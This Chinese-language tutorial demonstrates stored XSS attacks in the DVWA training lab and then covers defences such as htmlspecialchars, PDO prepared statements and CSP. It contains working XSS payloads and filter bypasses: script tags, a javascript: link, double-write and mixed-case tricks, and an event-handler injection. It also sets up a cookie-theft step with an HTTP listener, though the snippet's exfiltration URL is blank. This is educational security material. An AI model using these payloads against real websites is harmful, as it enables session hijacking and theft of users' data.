Web安全中的XSS攻击详细教学(二)--已完结
字数 1234 2025-08-19 12:41:24
XSS攻击详细教学:存储型XSS攻击与防御
存储型XSS概述
存储型XSS(又称持久性XSS)是一种常见的XSS攻击类型,与反射型XSS和DOM型XSS相比具有以下特点:
- 持久性:攻击脚本被永久存储在目标服务器上(数据库、内存、文件系统等)
- 危害面广:可以让用户机器变成DDoS攻击的肉鸡
- 信息窃取:能够盗取用户敏感私密信息
典型攻击场景:攻击者在论坛发帖时将恶意脚本注入帖子内容,服务器存储该帖子后,其他用户浏览时恶意脚本会在其浏览器中执行。
存储型XSS攻击演示(DVWA环境)
LOW级别攻击
-
基本注入:
<script>alert()</script>直接注入成功,服务器未做任何防护。
-
窃取Cookie:
<script>document.write('')</script>攻击者启动HTTP服务监听:
- Python2:
python2 -m SimpleHTTPServer 8899 - Python3:
python3 -m http.server 8899
- Python2:
-
源码分析:
- 仅使用
trim()去除首尾空格 - 使用
stripslashes()删除反斜杠 - 使用
mysqli_real_escape_string()转义SQL特殊字符 - 无XSS防护措施
- 仅使用
MEDIUM级别攻击
-
绕过限制:
- 输入框有长度限制,可通过修改HTML属性绕过
- 有效payload:
<a href="javascript:alert()">alert()</a>
-
源码分析:
- 对message字段:
strip_tags()去除HTML/PHP标签addslashes()转义特殊字符htmlspecialchars()转换为HTML实体
- 对name字段:
- 仅移除
<script>标签 - 可使用双写或大小写绕过:
- 双写:
<sc<script>ript>alert()<sc<script>ript> - 大小写:
<sCript>alert()</sCript>
- 双写:
- 仅移除
- 对message字段:
HIGH级别攻击
-
绕过技巧:
- 使用单标签+事件属性:
<input onchange="alert()">
- 使用单标签+事件属性:
-
源码分析:
- 使用
preg_replace正则替换:preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name) - 防御较强,但仍可通过非
script标签的事件属性绕过
- 使用
IMPOSSIBLE级别防御
-
防御措施:
- 使用CSRF token防止跨站请求伪造
- 表单防重复提交
htmlspecialchars()将所有输出转换为HTML实体- 使用PDO预编译语句防止SQL注入
-
源码关键点:
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php'); $message = htmlspecialchars($message); $name = htmlspecialchars($name); $data = $db->prepare('INSERT INTO guestbook (comment, name) VALUES (:message, :name)'); $data->bindParam(':message', $message, PDO::PARAM_STR); $data->bindParam(':name', $name, PDO::PARAM_STR);
存储型XSS防御方案
-
后端防御:
- 入库前对所有前端数据进行转义处理
- 输出给前端时统一进行转义处理
- 使用预编译语句防止SQL注入
-
前端防御:
- 渲染DOM时不信任任何后端数据
- 对所有动态内容进行转义处理
- 使用CSP(Content Security Policy)限制脚本执行
-
综合措施:
- 输入验证和过滤
- 输出编码
- 使用安全的API
- 实施CSP策略
- 定期安全审计
总结
存储型XSS因其持久性和广泛影响成为最危险的XSS类型。防御需要前后端协同,采用"不信任任何输入"的原则,对所有数据进行严格过滤和转义处理。DVWA演示展示了从简单注入到高级绕过的全过程,以及最终级别的全面防御方案。